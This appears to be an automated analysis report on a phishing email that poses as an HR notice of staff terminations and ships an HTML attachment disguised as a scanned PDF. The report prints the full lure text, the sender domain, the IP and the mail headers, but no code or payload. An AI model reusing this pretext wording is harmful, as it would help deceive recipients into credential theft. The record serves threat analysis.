            TLSH:C0A22DB4CDD61F17C7249B1451EE9BA7253C7FC626E140AA4CBBCA088678AE501F1778
            File Content Preview:Received: from hence.bydob.com (hence.bydob.com [194.169.172.172])...(using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits))...(No client certificate requested)...by domain-information-deleted (Postfix) with ESMTPS...for <info@domain-informat

            Static Mail

            General

            Subject:Staff Employment Termination lists and new administrative position 2024
            From:domain-information-deleted <kori@bydob.com>
            To:info@domain-information-deleted
            Cc:
            BCC:
            Date:Wed, 11 Dec 2024 08:31:03 -0800
            Communications:
            • Dear referee, Good Day,Find below names of staff whose employment have been terminated with immediate effect. Please find attached/download and review list of Staff Employment Termination lists and new administrative position and transfers/domain-information-deleted/company/employees.PDFKindly note that henceforth they should not be copied in all email correspondences. Find where your name falls and comply accordingly. Thanks and regards, highspirited.com.sg Human ResourcesHR Manager Dear referee, Good Day,Find below names of staff whose employment have been terminated with immediate effect. Please find attached/download and review list of Staff Employment Termination lists and new administrative position and transfers/domain-information-deleted/company/employees.PDFKindly note that henceforth they should not be copied in all email correspondences. Find where your name falls and comply accordingly. Thanks and regards, highspirited.com.sg Human ResourcesHR Manager Dear referee, Good Day,Find below names of staff whose employment have been terminated with immediate effect. Please find attached/download and review list of Staff Employment Termination lists and new administrative position and transfers/domain-information-deleted/company/employees.PDFKindly note that henceforth they should not be copied in all email correspondences. Find where your name falls and comply accordingly. attached/download Thanks and regards, highspirited.com.sg Human ResourcesHR Manager
            Attachments:
            • ScannedDocument120824PDF.html

            Headers

            Key Value
            Receivedfrom hence.bydob.com (hence.bydob.com [194.169.172.172]) (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by domain-information-deleted (Postfix) with ESMTPS for <info@domain-information-deleted>; Wed, 11 Dec 2024 11:31:07 +0300 (MSK)
            DKIM-Signaturev=1; a=rsa-sha1; c=relaxed/relaxed; s=dkim; d=bydob.com; h=From:To:Subject:Date:Message-ID:MIME-Version:Content-Type; i=kori@bydob.com; bh=Bdx4RDtI0YPONdtXKjGRb7qGyQA=; b=FFEq0Su9VYZ9lI/4MHL2yfLCFUNdAvI6hygTbIil/aGmMIJYUrwbekPDpzzHeGE43+DCB990X8Kp 4RZsU8k5ZGCAuNKyHyJTcu+kfyc0j8pyx5DoFCtUPS2Fdk4V3MLxj1aAersm42C/BASV5/vEauSt Qao8PQmcAq8Lduox+HYSSXCYHmZcJDe2/bYpYlvWjsDG7Xp9C6IgZPkKe6GDDhpR5aWoa6ExjF59 UO2hTm7p0XObn2z68iyrint17vx6flOgbnD+ckO569XslK6Uu097RGQ1F9OMASdnCQ9wQ0s0wE58 l5APkjl+6bFXZMd7fKVrF3CGfXqodeKj3ItRlQ==
            DomainKey-Signaturea=rsa-sha1; c=nofws; q=dns; s=dkim; d=bydob.com; b=sekmV5CROKiF4pJQBICugMSVRqQHPLnsNICq+bt91+RGp98KnyUqU8mpWDoaCin63r+Blnoc8cZ0 htX/DZxokGAIuiVa7eOyTqFIBPvCioVNMlFfi4lzniodDoF+SvBmFCw10w+mwR5cboomWiYtxGKI UDShA1uwgl+MVZfLtG3hyr3JkgW/GZ6frYeTRg/+q9PsjELKn2idS9pDaeee7XQVcnUU/daZ4juU uH73h/Uz6KiL5iQ7BJ/avGYzRS1ofJcBmQS5avvPHRgOafh11kv5z7F8K8Le4HZ/AlI0goZp/Q/v v7qHgmg0dAW3a8soMhSke8uMM3W1YvL9NmZnyw==;
            Fromdomain-information-deleted <kori@bydob.com>
            Toinfo@domain-information-deleted
            SubjectStaff Employment Termination lists and new administrative position 2024
            DateWed, 11 Dec 2024 08:31:03 -0800
            Message-ID<20241211083103.BEFCD6339CE03275@bydob.com>
            MIME-Version1.0
            Content-Typemultipart/mixed; boundary="----=_NextPart_000_0012_43EF1994.BE9003FD"

            File Icon

            Icon Hash:46070c0a8e0c67d6